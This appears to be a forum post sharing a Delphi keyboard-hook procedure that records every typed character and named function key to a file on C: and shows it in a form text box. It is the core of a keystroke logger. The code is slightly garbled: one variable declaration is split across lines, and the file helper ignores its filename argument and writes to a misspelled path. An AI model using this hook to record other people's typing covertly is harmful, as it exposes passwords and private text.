我更改的一段代码段,实现记录小写字母和符号、功能键的功能
function KeyProc(Code:integer;wpara:WPARAM;lpara:LPARAM):LRESULT ;stdcall;
const
_KeyPressMask = $80000000;
var
KN
Char;tmpRes:Integer; KS:TKeyBoardState; ch:String;
begin
Result:=0;
if Code < 0 then
begin
Result := CallNextHookEx(TheRecorder.HookHandle, Code, wpara, lpara);
exit;
end;
if (lpara and _KeyPressMask)=0 then
begin
KN:=StrAlloc(2);
if GetKeyboardState(KS)=False then exit;
tmpRes:=ToAscii(wpara,lpara,KS,KN,0);
if (tmpRes=1) and not(Ord(String(KN)[1])in CtlChars) then begin
ch:=String(KN)[1];
if ord(ch[1])=13 then ch:=ch+#10;
tofileproc('c:/recorderdata2.txt',ch);
form1.txtstatus.Text:=form1.txtstatus.Text+ch;
end else begin
KN:=StrAlloc(10);
if GetKeyNameText(lpara,KN,10)<> 0 then begin
tofileproc('c:/recorderdata2.txt','{'+String(KN)+'}');
form1.txtstatus.Text:=form1.txtstatus.Text+'{'+String(KN)+'}';
end;
end;
end;
end;
tofileproc过程:
procedure tofileproc(filename,ch:string);
var f:textfile;
begin
try
assignfile(f,'c:/recoderdata2.txt');
if not fileexists('c:/recoderdata2.txt') then rewrite(f);
append(f);
write(f,ch);
write(f,'|');
finally
closefile(f);
end;
end;